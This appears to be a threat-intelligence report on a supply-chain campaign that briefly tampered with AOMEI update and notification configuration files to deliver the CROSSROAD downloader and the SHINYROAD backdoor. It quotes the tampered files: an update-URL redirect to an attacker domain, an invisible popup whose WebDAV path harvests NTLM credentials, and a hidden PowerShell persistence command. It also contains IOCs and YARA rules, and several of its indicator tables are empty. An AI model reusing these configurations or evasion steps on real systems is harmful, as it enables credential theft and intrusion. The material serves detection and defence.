Based on available telemetry, impacted organizations spanned diverse sectors, including IT services, telecommunications, higher education and related entities in Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. That said, because the campaign attempted to deliver malware to any system polling the update distribution servers during the threat actor’s tampering windows, victimology was opportunistic and likely extends more broadly than the organizations we directly identified.
This campaign was initially identified through collaborative research with the ManageEngine Threat Analysis Lab (METAL), part of Zoho Corporation, whose endpoint detection and response (EDR) telemetry first detected the activity in late May across multiple customer environments. We thank the METAL team for their proactive telemetry sharing and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem. Following this joint effort, GTIG notified potentially affected organizations and shared technical findings with AOMEI Technology. AOMEI reported that they took corrective action to secure their distribution servers. METAL’s analysis of this campaign is available in their blog.
How AOMEI Update and Notification Systems Work
AOMEI Backupper provides data backup, disk cloning, and disaster recovery, while AnyViewer facilitates remote desktop access and support. Users of these products rely on the ABMarket update flow and its associated background services (Backupper.exe and ABNotify.exe) that periodically poll remote endpoints over HTTPS for update notifications and promotional pop ups:
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="AOMEI Update Mechanism" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_AOMEI_Update_Mechanism.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Figure 1: AOMEI Update Mechanism</p></figcaption>
</figure>
</div>
</div>
-
Update Configuration (
down_html.ini): The software periodically sends an HTTPS request tohttps://www2.aomeisoftware.com/download/abpopup/down_html.ini. This file contains the version number, the MD5 hash of the expected update package, and the URL where the client should downloadupgrade-now.zip. -
Notification Configuration (
Notifycfg.ini): The software contactshttps://account.aomeitech.com/Notifycfg.ini. This file instructs the local notification process (ABNotify.exe) what messages to display and specifies commands or programs located in the software’s local directory to execute.
Under normal conditions, these files direct the client to download official files hosted on AOMEI’s own domain (www2.aomeisoftware.com).
Campaign Overview
Rather than maintaining a persistent, static modification on the vendor’s distribution servers, GTIG and METAL’s telemetry indicates UNC7017 conducted repeated, short-burst configuration tampering. We confirmed several tampering windows in 2026, alongside related malware samples observed in the wild starting in late April. However, given the short duration of these windows, it is probable that additional tampering occurred throughout the campaign that remained outside our visibility. Systems checking for updates during an active window received malicious instructions, while systems checking before or after received clean, authentic files.
During the brief tampering windows, the threat actor modified the update settings file on the update server to redirect the software to download a malicious ZIP package from attacker-controlled servers instead of legitimate updates. The threat actor also altered the notification settings file on the update server to abuse the software’s automatic notification service, forcing the system to immediately execute the downloaded malware locally. If a user’s application checked for updates while the threat actor’s modifications were active, then the application would download the trojanized update and execute malware.
In cases where altered configuration files were active, the threat actor directed clients to download a weaponized ZIP archive containing CROSSROAD, an initial downloader responsible for environment validation and staging secondary components. CROSSROAD subsequently established scheduled task persistence to deploy SHINYROAD, a modular backdoor framework delivered via trojanized administration utilities to facilitate covert command and control.
Short Burst Supply Chain Tampering
A defining characteristic of UNC7017's operational security is its reliance on ephemeral, time-compressed server modifications. Across all directly observed waves, the adversary avoided leaving malicious configurations resident on AOMEI's update servers:
-
May 28: 10-minute exposure window (05:40 – 05:50 UTC)
-
July 16: 6-minute exposure window (08:33 – 08:39 UTC)
-
July 20: 5-minute exposure window (10:35 – 10:40 UTC)
At the conclusion of each window, UNC7017 reverted both down_html.ini and Notifycfg.ini to their legitimate contents. This hinders post-incident vendor audits, minimizes the window for network defenders to capture live malicious server responses, and restricts compromise to clients polling for updates during those exact minutes.
Weaponizing Native Update Logic: down_html.ini and Configuration Bloat
To compromise endpoints without relying on software vulnerabilities, UNC7017 abused the AOMEI client's legitimate update and popup rendering workflow. By default, the client downloads update archives into its Tmphtml directory, unpacks them to the local html/ directory, and processes instructions from two remote configuration files: down_html.ini and Notifycfg.ini.
To ensure the AOMEI client accepted and extracted the weaponized upgrade-now.zip archive, UNC7017 systematically incremented the minor build version (“thrid”) and updated the expected MD5 checksum in down_html.ini during each tampering window:
[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666
Figure 2: July 16 tampering of down_html.ini redirecting downloads to promotion.storage-data.com with incremented version (thrid=6) and synchronized MD5 hash.
During the 6-minute window on July 16, UNC7017 simultaneously modified Notifycfg.ini (SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934), injecting over 35,000 lines of repetitive configuration sections named [dummy_XXXXXX]. This extreme configuration bloat was structured to override standard client version checks forcing the client to trigger an update regardless of its installed version and immediately execute the unpacked CROSSROAD dropper (upgrade-now.exe) from the local html/ directory.
Infrastructure Shifts
Between April an July 2026, UNC7017 shifted its staging and delivery infrastructure between public cloud buckets and actor controlled lookalike domains, likely to test payload delivery and masquerade as legitimate vendor traffic.
Infrastructure Shifts
-
Early Cloud Staging (April–May 2026): Early CROSSROAD payloads (
upgrade-now.exeobserved May 20) relied on Alibaba Cloud Object Storage (serv.oss-cn-hongkong.aliyuncs.com). -
Dedicated Domain Infrastructure (July 1–7, 2026): The threat actor transitioned to dedicated, vendor-themed domains (
storage-data.com,promotion.storage-data.com,aomei.storage-data.com). -
Hybrid Cloud Delivery Split (July 20, 2026): During the 5-minute window on July 20, the threat actor modified
down_html.inito direct initial client downloads to a public Google Cloud Storage bucket (storage.googleapis.com/aomeiupdate/upgrade-now.zip) rather thanstorage-data.com. This tactical shift allowed the initial download to bypass enterprise proxy filters that block Newly Registered Domains (NRDs), while the executed CROSSROAD loader continued to leveragestorage-data.comfor secondary payload retrieval and C2 communications.
[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF
Figure 3: July 20 modification of down_html.ini utilizing Google Cloud Storage (thrid=7) to evade Newly Registered Domain (NRD) perimeter blocks.
WebDAV NTLM Credential Coercion
On July 20, UNC7017 introduced a secondary exploitation vector inside Notifycfg.ini. Prior to tampering, Notifycfg.ini displayed a legitimate 400x380 promotional banner advertising "World Cup Deals." The threat actor replaced this banner with an invisible 1x1 pixel window (Width=1, Height=1) assigned maximum execution priority (Priority=9999) that instructed the client to render a remote HTML file over a universal naming convention (UNC) WebDAV path:
[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999
Figure 4: Malicious Notifycfg.ini configuration from July 20 implementing an invisible 1x1 popup window to coerce WebDAV/NTLM authentication to 8.210.84.56.
By forcing the AOMEI client to request a remote file:// resource via WebDAV (DavWWWRoot), UNC7017 created a silent credential harvesting mechanism capable of coercing endpoints into transmitting NetNTLMv2 authentication hashes to the actor-controlled IP address (8.210.84.56) without user visibility.
Malware Delivery & Post-Exploitation Tooling
Across the campaign waves, UNC7017 deployed a consistent chain of custom loaders and commercial/open-source post-exploitation frameworks:
-
Defense Evasion via Timestomping: Analysis of an early CROSSROAD dropper (upgrade-now.exe) submitted to VirusTotal on May 20 revealed that the threat actor manipulated PE compilation timestamps to display fabricated 2024 build dates in an effort to complicate forensic timeline analysis.
-
Modified Radmin Server Backdoor: During the May 28 wave, the unsigned loader dropped into the html/ directory executed rsetup64.exe /intsetup, silently installing a modified version of the commercial remote administration tool Radmin Server to establish persistent remote access.
-
Adaptix C2 Integration: Since at least early July 2026, the threat actor was observed deploying the Adaptix C2 framework across its storage-data.com infrastructure.
The Primary Downloader: CROSSROAD
The primary Stage-2 downloader (upgrade-now.exe, SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450) is a 64-bit Windows executable written in C, tracked by GTIG as the CROSSROAD malware family. Delivered inside upgrade-now.zip, CROSSROAD is responsible for environment validation, active endpoint cleanup, staging the secondary payload bundle, and establishing scheduled task persistence for the Stage-3 backdoor suite.
-
Path Verification: As part of its configuration routine, CROSSROAD checks whether its file path contains the substring
AOMEI. If the substring is absent, it initiates a self-deletion routine; however, it does not abort, continuing both its background configuration cleanup and its downloader routines regardless. -
Execution Guardrails: Before proceeding with secondary downloads, CROSSROAD enforces two primary checks:
-
Geolocation Check: Queries external domain name system (DNS) (
myip.opendns.com,o-o.myaddr.l.google.com) and HTTP reflection services (checkip.amazonaws.com,api.ipify.org,ifconfig.me/ip,icanhazip.com) using custom User-Agents (Anyviewer-loader/1.0,Anyviewer-ipcheck/1.0). In specific execution branches, if the returned country code is"CN"(China), the loader aborts its primary payload execution path. -
Lock Mutex: Acquires the named mutex
Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}to prevent multiple concurrent instances on the same host. -
Host Artifact Reversion & Anti-Forensics: To complicate post-incident triage and forensic reconstruction, the loader systematically reverts local configuration states during its execution cycle. The malware parses
down_html.ini(located at<install_dir>\..\..\), restoring the update thread parameter (thrid) to its default value of 5 and pointing the update download URL back to legitimate AOMEI distribution infrastructure (https://www2.aomeisoftware.com/download/abpopup/). -
Stage-3 Payload Staging & Extraction: If environment checks pass, CROSSROAD downloads https://promotion.storage-data.com/config/component.zip (also observed as en.zip), to %TEMP%\svc<random_hex>.tmp, and unpacks its contents into the user’s local application data directory using an embedded miniz library.
-
Persistence via Scheduled Task: To ensure continuous execution of the staged payload bundle,
upgrade-now.exeregisters a persistent scheduled task namedRadminComponentRuntime(configured with the description”Radmin Component runtime checkable.”). The task is set to execute%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechkevery three hours. -
Self-Deletion (--nitrod): After extracting the payload bundle and creating the scheduled task, CROSSROAD purges itself from disk. To bypass Windows file-locking constraints, the executable drops a copy of itself to the temporary directory and executes it with the
--nitrodparameter, passing its parent PID viaNITRODPand original executable path viaNITRODT. The child process waits for the parent to terminate, renames the original binary's primary:$DATAstream to an alternate data stream named:wtfbbqviaSetFileInformationByHandle, and flagsFileDispositionInfowithDeleteFile = TRUEto unlink the binary on handle close. -
Version Information: The executable contained standard PE version metadata with a notable typo string:
"ProductName: AOMEI Update Compent".
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Victim Profiling, Malware Delivery Logic" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_5_Victim_Profiling_Malware_Delivery.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Figure 5: Victim Profiling, Malware Delivery Logic</p></figcaption>
</figure>
</div>
</div>
Stage-3 Payload: SHINYROAD and Radmin Suite
The payload archive unpacked into %LOCALAPPDATA%\Radmin\ by CROSSROAD contains a Famatech Radmin 3.x administration bundle used to deliver the SHINYROAD modular backdoor framework. The malware contains no native persistence mechanism of its own and relies entirely on the external scheduled task registered by CROSSROAD for execution.
-
Execution via DLL Search-Order Hijacking (BlkScrDl.dll): Execution begins when the persistent
RadminComponentRuntimescheduled task launches the legitimate, signed Radmin binary%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk(orFamItrf2.exe). During startup, the Radmin executable is hijacked into loading the attacker's unsigned DLL,BlkScrDl.dll, via search-order hijacking. The adversary named this DLL to masquerade as Radmin's legitimate "blank screen" driver library. -
Shared Memory & In-Process COM Server Staging: Upon execution,
BlkScrDl.dlllocatesconfig.zipin its execution directory, maps its raw contents into a shared memory section namedLocal\963d3c60-d406-4ad6-aa1e-dc8e45061ccf, and dynamically registerscsvc\RuntimeComponent.dllas an in-process COM Server under CLSID{21191641-0D7F-4CD9-9572-01AAE6E7851B}and AppID{9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}. -
COM-Triggered Stage-2 Initialization & Embedded PocketPy VM: When the Radmin process instantiates the registered CLSID, the Windows COM subsystem loads the DLL. The DLL reads
config.zipdirectly from shared memory, extracts the encrypted payloadmetadata.dat, and decrypts it using ChaCha20 with an HMAC-SHA256 derived key and IV. The decrypted payload consists of compiled Python bytecode, whichRuntimeComponent.dllexecutes within an embedded PocketPy interpreter, establishing initial C2 connectivity to8.218.65.184:443.
Evolution of the SHINYROAD Architecture
Analysis of earlier campaign variants revealed that SHINYROAD relies on custom C-level extensions (_pyio_compat, _pyio_struct, and pkpy) to avoid loading standard Python libraries on disk:
-
Custom Binary C2 Protocol: Earlier variants communicated over raw TCP (
8.218.65.184:41397). The agent generates a unique ID by fingerprinting the hostname and username, authenticates via a hard-coded handshake key, and dynamically transitions all subsequent communication to use symmetric encryption derived from this unique ID. -
In-Memory Capabilities: The engine supports interactive remote shell access (os.system), traffic chaffing (generating randomized junk packets to disrupt network signatures), and dynamic in-memory extension via the
pkpyWorkPool thread manager without writing script modules to disk.
Post-Exploitation: Nitro PDF Theme & Adaptix C2
In mid-July 2026, following the successful deployment of SHINYROAD, telemetry identified later-stage activity where UNC7017 pushed down ADAPTAGENT, the client portion of the Adaptix C2 post-exploitation framework. To blend in or appear as user-downloaded activity, these payloads masqueraded as Nitro PDF promotional and scanning tools (NitroPromotion.exe):
-
Persistence: The malware installed a scheduled task named
\NitroRuntimethat executed:
powershell -Command "Start-Process 'C:\Users\<USER>\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"
Figure 6: NitroRuntime scheduled task persistence
-
Adaptix C2 Beaconing: The executable sideloaded
Eztwain4.dll(ADAPTAGENT) from%LOCALAPPDATA%\Nitro Pro\, which established periodic 2-minute beacons to8.210.84.56:6800.
Outlook and Implications
This campaign highlights a broader evolution in software supply chain attack methodologies. Supply chain intrusions have historically focused on inserting backdoors into software source code or tampering with developer build pipelines (e.g., SolarWinds, 3CX). While highly impactful, compromised source trees leave persistent binary signatures in official release files that can be discovered during post-release binary analysis.
UNC7017's use of ephemeral configuration tampering represents a lower-overhead, higher-stealth alternative:
-
Anti-Analysis by Design: By restricting configuration changes to five to ten minute windows, the vast majority of legitimate users and automated repository crawlers only encounter authentic, vendor-signed files.
-
Selective Exploitation: Threat actors can selectively compromise target organizations that maintain frequent polling intervals while minimizing their exposure window on vendor infrastructure.
-
Dual-Pronged Approach: Combining software update redirection with invisible WebDAV NTLM coercion could allow adversaries to harvest credentials from passive users even if binary payload execution is blocked.
-
Co-opting Commercial Software: Deploying unmodified versions of legitimate administration tools (such as Radmin 3.x) to masquerade sideloaded covert channels illustrates how adversaries blend commercial remote management capabilities with hidden backdoor modules.
Remediation and Hardening
Defenders should focus on behavioral profiling of updater processes, specifically monitoring for unsigned child processes spawned by background update runners and unauthorized network redirection originating from trusted desktop software. For broader recommendations on securing software delivery pipelines, please refer to our previously published Mitigation Guidance for Supply Chain Compromise.
Vendor Notification & Architecture Hardening
On July 17, 2026, Mandiant notified AOMEI Technology regarding the observed configuration tampering on their update infrastructure and provided relevant indicators. AOMEI subsequently responded on July 29, 2026, stating that corrective actions had been taken.
Why Server-Side Remediation Does Not Disinfect Endpoints
Crucially, server-side remediation does not clean endpoints that downloaded malicious updates during earlier tampering windows. Because the tampering occurred in brief, short bursts, systems that received these files may remain compromised without the organization's knowledge unless proactive endpoint hunting and remediation are performed.
-
Persistent Resident Payloads: Endpoints that polled for updates during an active tampering window downloaded and staged persistent payloads (via scheduled tasks) that remain fully operational even after the vendor restores authentic .ini files on the origin servers.
-
Obscured Root Cause: While the subsequent backdoor activity and scheduled tasks generate detectable endpoint telemetry, the ephemeral delivery vector obscures the initial intrusion mechanism. Because server tampering lasted approximately 5 minutes—and the loader actively reverted local configuration files—investigators reviewing vendor update URLs hours later will observe only benign, authentic infrastructure, complicating root cause analysis and patient-zero identification.
-
Hunting Imperative: Organizations running AOMEI software cannot assume they are protected solely because the vendor took corrective server-side action. Enterprise security teams must perform retrospective endpoint and network hunts across the entire April–July time frame using the indicators and YARA rules provided in this post.
Guidance for Software Vendors & Developers
Software supply chain security extends beyond developer workstations and build pipelines. When desktop software relies on remote configuration files to manage update and notification behaviors, adversaries can target the distribution layer rather than the source code. To defend against configuration tampering and distribution-channel hijacking, software vendors should implement the following security controls:
-
End-to-End Cryptographic Signature Verification: Client applications must cryptographically verify Authenticode digital signatures and validate vendor certificates on all downloaded executables and archives before extraction or execution. Update clients should never rely solely on transport-layer HTTPS or remote checksums (such as cleartext MD5 values in an unauthenticated configuration file).
-
Cryptographically Signed Configuration Files: Remote configuration files (.ini, .json, or .xml) should be digitally signed using asymmetric public key cryptography. If an origin server or content delivery network (CDN) is modified without authorization, client software will detect the invalid signature and reject the configuration.
-
Domain Allowlisting and Destination Pinning: Software update clients should enforce strict destination pinning, restricting update downloads exclusively to official, pre-approved vendor domains and CDNs. Update engines should reject redirection to arbitrary third-party domains or generic public cloud storage buckets.
-
Restricting Uniform Resource Identifier (URI) Schemes in In-App Handlers: Embedded web views, promotional popups, and notification handlers should strictly enforce secure web protocols (
https://) and explicitly disallow local file (file://) and UNC WebDAV schemes to prevent external NTLM credential coercion. -
Decoupling Core Updates from Marketing Channels: Separating essential software maintenance routines from dynamic promotional popups and notification banners reduces the attack surface and ensures that advertising channels cannot trigger local code execution.
-
Origin Integrity Monitoring and Access Controls: Origin web servers and object storage buckets hosting update metadata should enforce strict access controls, multi-factor authentication, and automated real-time file integrity monitoring (FIM) with immediate alerting on configuration changes.
Guidance for Security Operations (SOC) & Incident Responders
Overcoming the "Point-in-Time" Triage Pitfall
The short-burst nature of this attack creates a unique challenge for incident response:
-
The Triage Trap: When an EDR alert fires for a suspicious process spawned by an updater, SOC analysts frequently attempt to validate the alert by navigating to the vendor's download URL or checking URL reputation. Because the threat actor reverted the remote configuration files within five to ten minutes, the vendor's server returns authentic, clean files most of the time, leading analysts to mistakenly dismiss the detection as a false positive.
-
Actionable IR Protocol: Defenders must not rely on live web checks. Incident responders must preserve and analyze the endpoint-cached configuration files in
%PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\and review proxy/firewall telemetry corresponding to the precise second the alert was triggered.
Camouflaged Follow-on Activity
The deployment of Adaptix C2 under the guise of Nitro PDF can mislead analysts into treating alerts as isolated, user-initiated software downloads rather than staged lateral movement. Responders must trace updater parentage to identify root-cause supply chain tampering.
Endpoint and Network Hardening Actions
Endpoint File Checks
Inspect systems for the following directories and artifacts. Defenders must distinguish between malicious payloads and legitimate signed binaries abused for search-order hijacking:
|
Directory |
Malicious Artifacts (Primary IOCs) |
Abused Legitimate / Support Binaries |
Defender Triage & Hunting Guidance |
|
%LOCALAPPDATA%\Radmin\ |
|
|
Do not dismiss if executables are signed: |
|
%LOCALAPPDATA%\Nitro Pro\ |
|
|
Payloads masquerade as Nitro PDF tools. |
|
%TEMP%\ |
|
— |
Ephemeral child processes spawned with |
|
AOMEI Install Paths ( |
|
|
Staging location for the AOMEI update flow. Check for unauthorized executable drops in the web UI |
Table 1: Endpoint file checks
Scheduled Tasks and Registry
-
Scheduled Tasks: Check for unauthorized tasks named
\NitroRuntimeor\RadminComponentRuntime. -
Registry: Check
\REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\datafor unusual binary blobs.
Network Defenses
-
Block outbound network connections to
promotion.storage-data.com,aomei.storage-data.com,storage-data.com,8.210.84.56,47.239.60.117, and8.218.65.184. -
Block outbound SMB (TCP 445) and WebDAV traffic to external IP addresses to prevent NTLM credential coercion.
-
Inspect proxy and web gateway logs for the User-Agent
Anyviewer-loader/1.0or requests to Alibaba Cloud OSS endpointserv.oss-cn-hongkong.aliyuncs.com.
Indicators of Compromise (IOCs)
To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.
Malicious File Hashes (SHA-256)
|
File / Description |
SHA-256 |
|---|---|
|
upgrade-now.zip (May 20 CROSSROAD Archive) |
|
|
upgrade-now.exe (May 20 CROSSROAD Loader) |
|
|
upgrade-now.exe (July 16 CROSSROAD Loader) |
|
|
upgrade-now.exe (July 20 CROSSROAD Loader) |
|
|
upgrade-now.zip (July 20 CROSSROAD Archive) |
|
|
component.zip / en.zip (SHINYROAD Package) |
|
|
RuntimeComponent.dll (Custom PocketPy Engine) |
|
|
BlkScrDl.dll (Malicious DLL) |
|
|
config.zip (Python Bytecode Archive) |
|
|
metadata.dat (ChaCha20 Payload) |
|
|
axmlx. (Benign Decoy file) |
|
|
NitroPromotion.exe (Launcher for ADAPTAGENT Masquerading as a Nitro Executable) |
|
|
Eztwain4.dll (ADAPTAGENT Helper DLL) |
|
|
abe.exe (Secondary Payload) |
|
Table 2: Malicious File Indicators
Legitimate File Hashes (SHA-256)
|
File / Description |
SHA-256 |
|---|---|
|
WinLpcDl.dll (Legitimate Radmin component) |
|
|
WinLpcDl2.dll (Legitimate Radmin component) |
|
|
Nitro_Scan2PDFApp.exe (Legitimate Signed Binary, Abused for Sideloading) |
|
Table 3: Legitimate File Indicators
Configuration File Hashes (AOMEI .ini)
|
File Description |
SHA-256 |
|---|---|
|
down_html.ini (Tampered July 16, 08:33–08:39 UTC) |
|
|
Notifycfg.ini (Tampered July 16 Window) |
|
|
Notifycfg.ini (Tampered July 20 WebDAV Version) |
|
|
down_html.ini (Tampered July 20, 10:35–10:40 UTC) |
|
Table 4: Configuration Files
Network Indicators
|
Type |
Indicator |
Context |
|---|---|---|
|
IP Address |
|
WebDAV NTLM Target Server; Adaptix C2 |
|
IP Address |
|
Historical SHINYROAD C2 Server. Ports used included |
|
IP Address |
|
Secondary Infrastructure |
|
IP Address |
|
Allowlist IP configured in |
|
Domain |
|
Stage-2 Dropper Staging Domain |
|
Domain |
|
Stage-3 Payload Staging Server |
|
Domain |
|
Threat Actor Domain |
|
Domain |
|
Alibaba Cloud OSS Bucket (April/May 2026 Staging) |
|
URL |
|
Stage-2 Dropper Download URL |
|
URL |
|
SHINYROAD payload |
|
URL |
|
Target IP Allowlist Endpoint |
|
URL |
|
Stage-3 SHINYROAD Payload URL |
|
URL |
|
July 20 GCS Staging URL |
|
URL |
|
July 20 GCS Component URL |
|
UNC Path |
|
WebDAV NTLM Coercion Resource |
Table 5: Network Indicators
Mutexes & Scheduled Tasks
-
Mutex:
Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883} -
Shared memory mapping:
Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf -
Scheduled Task:
\RadminComponentRuntime
Google Security Operations (SecOps)
Google Security Operations customers have access to these broad category rules and more under the "Mandiant Frontline Threats", “Mandiant Hunting Rules”, and "Applied Threat Intelligence - Curated Prioritization" rule packs. The activity discussed in the blog post is detected in Google Security Operations under the rule names:
-
Explorer Launching Cmd With Powershell Start Process Command
-
Suspicious Process Invoking Dllhost Clsid Invocation
-
ATI Active Breach Rule Match for File IoCs
-
ATI High Priority Rule Match for Ip Address IoCs
-
ATI Medium Priority Rule Match for Ip Address IoCs
-
Copy System Binary
-
System32 Binary Copied to Non-Standard Directory
Detections
YARA Rules
rule G_APT_Downloader_CROSSROAD_1
{
meta:
author = "Mandiant"
desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
strings:
// Masquerading & Metadata
$meta_typo = "AOMEI Update Compent" wide
$meta_co = "AOMEI International Network Limited" wide
$meta_ver = "8.2.5.0" wide
$meta_orig = "upgrade-now.exe" wide
$meta_name = "upgrade-now" wide
// Embedded Decompression & Downloader Artifacts
$miniz1 = "archive is too large" ascii
$miniz2 = "failed finding central directory" ascii
$miniz3 = "unexpected decompressed size" ascii
$whttp1 = "WinHttpCrackUrl" ascii
$whttp2 = "WinHttpSendRequest" ascii
// Obfuscation & Scheduled Task Artifacts
$task1 = "RadminComponentRuntime" wide
$task2 = "Radmin Component runtime checkable." wide
$flag = "--runtimechk" wide
$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
$sob3 = "WinMain._sob_enc." ascii
$obf_key = "_sob_key" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
any of ($miniz*) and
any of ($whttp*)) or
(2 of ($sob*) and ($task1 or $flag)) or
($obf_key and $task1 and $task2 and any of ($sob*))
)
}
rule G_APT_Backdoor_SHINYROAD_1
{
meta:
author = "Mandiant"
desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
strings:
// Shared SHINYROAD artifacts (shared memory section and mutex)
$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
// BlkScrDl.dll loader: config.zip staging and COM server registration
$ld1 = "%sconfig.zip" ascii
$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
$ld3 = "libBlkScrDl.dll" ascii
$com1 = "Software\\Classes\\CLSID\\%s" ascii
$com2 = "Software\\Classes\\AppID\\%s" ascii
$com3 = "%s\\InprocServer32" ascii
// RuntimeComponent.dll embedded PocketPy engine
$rc1 = "libRuntimeComponent.dll" ascii
$rc2 = "metadata.dat" ascii
$rc3 = "_pyio_compat" ascii
$rc4 = "_pyio_struct" ascii
$rc5 = "%sdemo_srv.log" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
($shm and $mtx) or
(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
(2 of ($ld*) and 2 of ($com*)) or
($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
)
}
rule G_APT_Backdoor_SHINYROAD_2
{
meta:
author = "Mandiant"
desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"
strings:
$pkpy_magic = { 4F 43 01 00 }
$proto1 = "mct3-handshake-v1" ascii
$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
$jam1 = "JAM_BURST_PACKETS_MIN" ascii
$jam2 = "JAM_MIN_MS" ascii
$jam3 = "JAM_MAX_BYTES" ascii
$mod1 = "_pyio_struct" ascii
$mod2 = "_pyio_compat" ascii
$enc1 = "nh_enc" ascii
$enc2 = "encbody" ascii
condition:
$pkpy_magic at 0 and filesize < 500KB and (
$proto1 or
$script or
all of ($jam*) or
(all of ($mod*) and any of ($enc*))
)
}
rule G_APT_Launcher_ADAPTAGENT_1
{
meta:
author = "Mandiant"
desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
platforms = "Win"
rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"
strings:
// Sideloaded Masquerading & Camouflage
$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
$camo_dll1 = "Eztwain4.dll" ascii wide nocase
$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
$camo_ver = "14.10.1.0" ascii wide
$camo_copy = "Nitro Software, Inc." ascii wide
// NitroPromotion Loader & Staging Functionality
$load1 = "DownloadToLocalAppData" ascii
$load2 = "ExtractZipToDirectoryA" ascii
$load3 = "GetTempZipFileNameA" ascii
$load4 = "CreateScheduledTask" ascii
// Adaptix C2 & ADAPTAGENT Core Artifacts
$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
$adapt3 = "\\\\.\\pipe\\%08lx" ascii
$adapt4 = "13ConnectorHTTP" ascii
$adapt5 = "9Connector" ascii
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and (
// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or
// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
)
}MITRE ATT&CK Techniques
|
Tactic |
Technique ID |
Technique Name |
Observed Context |
|---|---|---|---|
|
Resource Development |
Acquire Infrastructure: Domains |
Registration of |
|
|
Resource Development |
Acquire Infrastructure: Web Services |
Abuse of Alibaba Cloud OSS ( |
|
|
Resource Development |
Stage Capabilities: Upload Malware |
Staging of |
|
|
Initial Access |
Supply Chain Compromise: Compromise Software Supply Chain |
Ephemeral modification of remote AOMEI |
|
|
Execution |
Command and Scripting Interpreter: PowerShell |
Hidden PowerShell execution ( |
|
|
Execution |
Command and Scripting Interpreter: Python |
In-memory execution of compiled bytecode via an embedded PocketPy interpreter ( |
|
|
Execution |
Inter-Process Communication: Component Object Model |
|
|
|
Persistence |
Scheduled Task/Job: Scheduled Task |
Scheduled tasks |
|
|
Defense Evasion |
Hijack Execution Flow: DLL |
Search-order hijacking of |
|
|
Defense Evasion |
Execution Guardrails |
Validation of the |
|
|
Defense Evasion |
Masquerading: Match Legitimate Resource Name or Location |
|
|
|
Defense Evasion |
Obfuscated Files or Information: Encrypted/Encoded File |
SHINYROAD stage-2 Python bytecode stored as ChaCha20-encrypted |
|
|
Defense Evasion |
Deobfuscate/Decode Files or Information |
|
|
|
Defense Evasion |
Indicator Removal: File Deletion |
Self-deletion of CROSSROAD ( |
|
|
Defense Evasion |
Hide Artifacts: NTFS File Attributes |
CROSSROAD renames its primary |
|
|
Credential Access |
Forced Authentication |
WebDAV NTLM coercion via an invisible 1x1 popup rendering a UNC resource, configured inside |
|
|
